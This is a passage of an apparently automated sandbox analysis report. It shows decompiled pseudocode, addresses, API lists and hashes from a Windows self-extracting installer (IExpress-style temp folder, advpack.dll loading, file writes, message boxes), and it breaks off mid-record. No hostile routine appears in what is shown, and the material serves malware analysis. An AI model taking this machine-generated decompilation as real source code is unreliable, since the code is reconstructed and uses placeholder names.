						_t114 = 3;
						 *0xa49a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0xa48184 = _t135;
							 *0xa48180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E00A444B9(0, _t138);
					L66:
					return E00A46CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x00a436f9
0x00a43700
0x00a4370c
0x00a43716
0x00a43718
0x00a4371b
0x00a43721
0x00a4372b
0x00a4373d
0x00a43745
0x00a43746
0x00a43746
0x00a43749
0x00a437ab
0x00a437ad
0x00a437ae
0x00a437b3
0x00a437b8
0x00a437b8
0x00a437bf
0x00a437bf
0x00a437c5
0x00000000
0x00000000
0x00a437cb
0x00a437cd
0x00000000
0x00000000
0x00a437d5
0x00a437db
0x00a437e8
0x00a437ea
0x00a437ea
0x00a437ea
0x00a437f0
0x00a437f6
0x00a43805
0x00a43817
0x00a4382b
0x00a43830
0x00a43836
0x00a4383b
0x00a4383d
0x00a438eb
0x00a438eb
0x00a438f2
0x00a4390c
0x00a43911
0x00a43911
0x00a43913
0x00a4394d
0x00a4394d
0x00a4394f
0x00a438a9
0x00a438a9
0x00a438b0
0x00a438b2
0x00a438b9
0x00a438bb
0x00a438c1
0x00a43975
0x00a438c7
0x00a438de
0x00a438e0
0x00a438e0
0x00a4397b
0x00a4397d
0x00a439a9
0x00a4397f
0x00a43982
0x00a4398b
0x00a4398d
0x00a4398f
0x00a4399f
0x00a439a1
0x00a43991
0x00a43991
0x00a43991
0x00a4398f
0x00a439af
0x00a439b6
0x00a43a0f
0x00a43a0f
0x00a43a11
0x00a43a13
0x00a43a19
0x00000000
0x00a439b8
0x00a439b8
0x00a439ba
0x00000000
0x00000000
0x00a439bc
0x00a439bf
0x00000000
0x00000000
0x00a439c3
0x00a439c9
0x00a439ce
0x00a439d0
0x00a439e3
0x00a439e5
0x00a439e6
0x00a439f1
0x00a439f7
0x00a439fa
0x00a43a01
0x00a43a04
0x00000000
0x00000000
0x00a43a06
0x00a43a09
0x00a43a09
0x00a43a0b
0x00a43a0b
0x00000000
0x00a43a09
0x00a439fc
0x00000000
0x00a439fc
0x00a439d3
0x00a439d8
0x00a439da
0x00000000
0x00000000
0x00000000
0x00a439dc
0x00a439b6
0x00a43955
0x00a4395b
0x00000000
0x00000000
0x00a43961
0x00a43963
0x00000000
0x00000000
0x00a43969
0x00a43969
0x00000000
0x00a43969
0x00a43915
0x00a43915
0x00a4391b
0x00a4391f
0x00000000
0x00000000
0x00a4392d
0x00a43933
0x00a43938
0x00a4393a
0x00000000
0x00000000
0x00a43940
0x00a43946
0x00a4394b
0x00000000
0x00a4394b
0x00000000
0x00a438f2
0x00a43843
0x00a43845
0x00000000
0x00000000
0x00a4384b
0x00a4384d
0x00a43883
0x00a43885
0x00000000
0x00000000
0x00a4389a
0x00a4389e
0x00a4389e
0x00000000
0x00000000
0x00a438a0
0x00a438a0
0x00a438a2
0x00000000
0x00000000
0x00a438a4
0x00000000
0x00a438a4
0x00a4384f
0x00a43851
0x00a43857
0x00a4386e
0x00a43877
0x00a4387b
0x00000000
0x00000000
0x00000000
0x00a43881
0x00a43859
0x00a4385c
0x00a43862
0x00a43866
0x00000000
0x00000000
0x00a43868
0x00000000
0x00a438f4
0x00a438f4
0x00a438f5
0x00a438fb
0x00a43901
0x00a43901
0x00000000
0x00a4390a
0x00a4374b
0x00a4374e
0x00a4375c
0x00a43764
0x00a43769
0x00a4376e
0x00a43771
0x00a4379c
0x00a4379f
0x00000000
0x00000000
0x00a437a3
0x00a437a4
0x00000000
0x00a437a4
0x00a43773
0x00a43777
0x00a43778
0x00a4377f
0x00a43781
0x00a4378e
0x00a4378e
0x00a43794
0x00000000
0x00a43794
0x00a43783
0x00000000
0x00000000
0x00a43785
0x00a4378c
0x00000000
0x00000000
0x00000000
0x00a4378c
0x00a43750
0x00000000
0x00a4372d
0x00a4372d
0x00a4396b
0x00a4396b
0x00a4396c
0x00a4396e
0x00a4396f
0x00a43a1e
0x00a43a1e
0x00a43a22
0x00a43a27
0x00a43a3e
0x00a43a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00A43723
MessageBeep.USER32(00000000), ref: 00A439C3
MessageBoxA.USER32(00000000,00000000,cent,00000030), ref: 00A439F1

Strings

cent, xrefs: 00A439E9, 00A43A19
3, xrefs: 00A43785

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$cent
API String ID: 2519184315-3438608206
Opcode ID: 4be5c62929c2f1e5d856264f1c20873aa0709f2815826653eaec19d5dfe7ce96
Instruction ID: 9205155e32bfee66196b28a7c5cb752836d26f73423012aff7b95ad3f0fa9e10
Opcode Fuzzy Hash: 4be5c62929c2f1e5d856264f1c20873aa0709f2815826653eaec19d5dfe7ce96
Instruction Fuzzy Hash: 0091137AA012249FEF74CF69CD917AAB3B0ABC5344F1541A9D889DB242DB718F81CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00A46495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00A46495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0xa48004; // 0x173b1603
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E00A41781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E00A4658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E00A46CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x00a46495
0x00a46495
0x00a464a0
0x00a464a7
0x00a464ab
0x00a464bd
0x00a464c2
0x00a464d3
0x00a464df
0x00a464e8
0x00a46502
0x00a464ee
0x00a464f9
0x00a464f9
0x00a46516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A464DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A464F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00A46502

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A464AC
advpack.dll, xrefs: 00A464C2, 00A464CD, 00A46501

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-258089097
Opcode ID: 44b9c22f5f04566ab44ebbd90143b4d2ab27454c36252ea41dc1cda06701b6ca
Instruction ID: f752aedc86dc90cb04dd118e3990fd64e56b52e67df76214db4974deb5066de1
Opcode Fuzzy Hash: 44b9c22f5f04566ab44ebbd90143b4d2ab27454c36252ea41dc1cda06701b6ca
Instruction Fuzzy Hash: 7C01F93C540108ABDB50EBA4DC45EEE7378EBE2311F500295F585921C0DF709EC6CA53

Uniqueness

Uniqueness Score: -1.00%

Function 00A428E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A428E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E00A42773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E00A42A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E00A42A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x00a428f1
0x00a428f4
0x00a428f7
0x00a428f9
0x00a428fc
0x00a428ff
0x00a42901
0x00a42907
0x00a42a62
0x00a42a64
0x00a4290d
0x00a4290d
0x00a4290f
0x00a42912
0x00a42920
0x00a42937
0x00000000
0x00000000
0x00a42944
0x00a4294a
0x00a4294f
0x00a42a2f
0x00a42a32
0x00a42a34
0x00a42a37
0x00a42a41
0x00000000
0x00000000
0x00a42955
0x00a4295e
0x00a42962
0x00a42969
0x00a4296f
0x00a42974
0x00a4298c
0x00a42a20
0x00a42a21
0x00a42a27
0x00a42a4c
0x00a42a4f
0x00a42a50
0x00a42a53
0x00a42a56
0x00a42a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00a429b2
0x00a429b2
0x00a429b5
0x00a429bd
0x00a429c3
0x00a429cc
0x00a429d5
0x00a429d7
0x00a429da
0x00a429dd
0x00a429df
0x00a429ec
0x00a429f8
0x00a429fc
0x00a429ff
0x00a42a02
0x00a42a07
0x00a42a0a
0x00a42a0f
0x00a42a19
0x00a42a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00a42a0f
0x00a4298c
0x00a42974
0x00a42962
0x00000000
0x00a4294f
0x00a42912
0x00a42a65
0x00a42a68
0x00a42a6c
0x00a42a6f
0x00a42a6f
0x00a42a7d

APIs

GlobalFree.KERNEL32 ref: 00A42A6F

Part of subcall function 00A42773: CharUpperA.USER32(173B1603,00000000,00000000,00000000), ref: 00A427A8
Part of subcall function 00A42773: CharNextA.USER32(0000054D), ref: 00A427B5
Part of subcall function 00A42773: CharNextA.USER32(00000000), ref: 00A427BC
Part of subcall function 00A42773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42829
Part of subcall function 00A42773: RegQueryValueExA.ADVAPI32(?,00A41140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42852
Part of subcall function 00A42773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A42870
Part of subcall function 00A42773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00A428A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00A43938,?,?,?,?,-00000005), ref: 00A42958
GlobalLock.KERNEL32 ref: 00A42969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A43938,?,?,?,?,-00000005,?), ref: 00A42A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00A42A81

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: a9dda147aa515439744223395eda01fd8363cae2cceb4e4bc2823cb1a012e30b
Instruction ID: 63b4b55b34c97645daa2b4521ad6a5818a4b1574e975b1dcaccdd74daca32621
Opcode Fuzzy Hash: a9dda147aa515439744223395eda01fd8363cae2cceb4e4bc2823cb1a012e30b
Instruction Fuzzy Hash: D2512939E00219DBDB25CF98C884AAEFBB5FF98740F54413AF945E3211DB319941DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A44169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E00A44169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E00A4468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E00A4468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E00A444B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E00A444B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x00a4417d
0x00a4418f
0x00a44193
0x00a441b7
0x00a441d3
0x00a441e6
0x00000000
0x00a441e7
0x00a441d5
0x00a441d6
0x00a441d8
0x00a441d9
0x00a441da
0x00a441df
0x00a441e1
0x00000000
0x00a441e1
0x00a441b9
0x00a441ba
0x00a441bc
0x00a441bd
0x00a441be
0x00000000
0x00a441be
0x00000000

APIs

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00A430B4), ref: 00A44189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00A430B4), ref: 00A441E7

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Strings

<None>, xrefs: 00A441C5
FINISHMSG, xrefs: 00A44173, 00A441AB

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: fb653a5114b8129167ea09ffd6fff446567b801a89c27c4ceef9afd8832a30c3
Instruction ID: 663eae1f300586ceca9d549cb0e7faea078f537d4dcfccfa2a224de73fe3be08
Opcode Fuzzy Hash: fb653a5114b8129167ea09ffd6fff446567b801a89c27c4ceef9afd8832a30c3
Instruction Fuzzy Hash: F901FFBD3802247BF3242BA94C86F7B658EDBE9795F114229B706E21809AA9DC4241B5

Uniqueness

Uniqueness Score: -1.00%

Function 00A419E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00A419E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0xa48004; // 0x173b1603
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E00A443D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0xa49a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E00A46CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00a419e0
0x00a419e0
0x00a419eb
0x00a419f2
0x00a419f9
0x00a419fc
0x00a41a01
0x00a41a2a
0x00a41a2e
0x00a41a3e
0x00a41a4f
0x00a41a62
0x00a41a6a
0x00000000
0x00a41a03
0x00a41a06
0x00a41a20
0x00a41a20
0x00a41a08
0x00a41a08
0x00a41a14
0x00000000
0x00a41a16
0x00a41a18
0x00a41a70
0x00a41a72
0x00a41a72
0x00a41a14
0x00a41a06
0x00a41a81

APIs

EndDialog.USER32(?,?), ref: 00A41A18
GetDesktopWindow.USER32 ref: 00A41A24
LoadStringA.USER32(?,?,00000200), ref: 00A41A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00A41A62
MessageBeep.USER32(000000FF), ref: 00A41A6A

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 286eee222e1204038522c0ce2b701d903b8dbd9530d39297e0f3e9da6ce42ddc
Instruction ID: 0942925c9b8101abf636a28c14bc9b8704dd377510cd5796c370344868ec1b1b
Opcode Fuzzy Hash: 286eee222e1204038522c0ce2b701d903b8dbd9530d39297e0f3e9da6ce42ddc
Instruction Fuzzy Hash: AA11C83D5011099FDB10EFA8EE08AAE77B8EFDA340F104264F512D7191DB35AE52CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00A463C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00A463C0(void* __ecx, void* __eflags, long _a4, intOrPtr _a12, void* _a16) {
				signed int _v8;
				char _v268;
				long _v272;
				void* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t15;
				long _t28;
				struct _OVERLAPPED* _t37;
				void* _t39;
				signed int _t40;

				_t15 =  *0xa48004; // 0x173b1603
				_v8 = _t15 ^ _t40;
				_v272 = _v272 & 0x00000000;
				_push(__ecx);
				_v276 = _a16;
				_t37 = 1;
				E00A41781( &_v268, 0x104, __ecx, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
				E00A4658A( &_v268, 0x104, _a12);
				_t28 = 0;
				_t39 = CreateFileA( &_v268, 0x40000000, 0, 0, 2, 0x80, 0);
				if(_t39 != 0xffffffff) {
					_t28 = _a4;
					if(WriteFile(_t39, _v276, _t28,  &_v272, 0) == 0 || _t28 != _v272) {
						 *0xa49124 = 0x80070052;
						_t37 = 0;
					}
					CloseHandle(_t39);
				} else {
					 *0xa49124 = 0x80070052;
					_t37 = 0;
				}
				return E00A46CE0(_t37, _t28, _v8 ^ _t40, 0x104, _t37, _t39);
			}

0x00a463cb
0x00a463d2
0x00a463d8
0x00a463ea
0x00a463f3
0x00a46401
0x00a46402
0x00a46410
0x00a46415
0x00a46433
0x00a46438
0x00a46449
0x00a46463
0x00a4646d
0x00a46477
0x00a46477
0x00a4647a
0x00a4643a
0x00a4643a
0x00a46444
0x00a46444
0x00a46492

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A4642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A4645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00A4647A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A463EB

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-2312194364
Opcode ID: cb1a1518b3b6119349608512b2819ded5ab726044a139efdd33db81c80e4228f
Instruction ID: 6597690b3d41afff4e1a790cf2d2f7c91b72e67667e0843c617f27c6fd6c263f
Opcode Fuzzy Hash: cb1a1518b3b6119349608512b2819ded5ab726044a139efdd33db81c80e4228f
Instruction Fuzzy Hash: 0D210579A00218ABCB10DF65DC85FEB7378EBC6310F000269F585A3180CBB05D858F61

Uniqueness

Uniqueness Score: -1.00%

Function 00A447E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A447E0(intOrPtr* __ecx) {
				intOrPtr _t6;
				intOrPtr _t9;
				void* _t11;
				void* _t19;
				intOrPtr* _t22;
				void _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr* _t33;
				void* _t34;

				_t33 = __ecx;
				_t34 = LocalAlloc(0x40, 8);
				if(_t34 != 0) {
					_t22 = _t33;
					_t27 = _t22 + 1;
					do {
						_t6 =  *_t22;
						_t22 = _t22 + 1;
					} while (_t6 != 0);
					_t24 = LocalAlloc(0x40, _t22 - _t27 + 1);
					 *_t34 = _t24;
					if(_t24 != 0) {
						_t28 = _t33;
						_t19 = _t28 + 1;
						do {
							_t9 =  *_t28;
							_t28 = _t28 + 1;
						} while (_t9 != 0);
						E00A41680(_t24, _t28 - _t19 + 1, _t33);
						_t11 =  *0xa491e0; // 0x2ec8390
						 *(_t34 + 4) = _t11;
						 *0xa491e0 = _t34;
						return 1;
					}
					_t25 =  *0xa48584; // 0x0
					E00A444B9(_t25, 0x4b5, _t8, _t8, 0x10, _t8);
					LocalFree(_t34);
					L2:
					return 0;
				}
				_t26 =  *0xa48584; // 0x0
				E00A444B9(_t26, 0x4b5, _t5, _t5, 0x10, _t5);
				goto L2;
			}

0x00a447e8
0x00a447f0
0x00a447f4
0x00a4480f
0x00a44811
0x00a44814
0x00a44814
0x00a44816
0x00a44817
0x00a44829
0x00a4482b
0x00a4482f
0x00a4484f
0x00a44852
0x00a44855
0x00a44855
0x00a44857
0x00a44858
0x00a44860
0x00a44865
0x00a4486a
0x00a4486f
0x00000000
0x00a44876
0x00a44831
0x00a44841
0x00a44847
0x00a4480b
0x00000000
0x00a4480b
0x00a447f6
0x00a44806
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00A44E6F), ref: 00A447EA
LocalAlloc.KERNEL32(00000040,?), ref: 00A44823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00A44847

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A44851

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
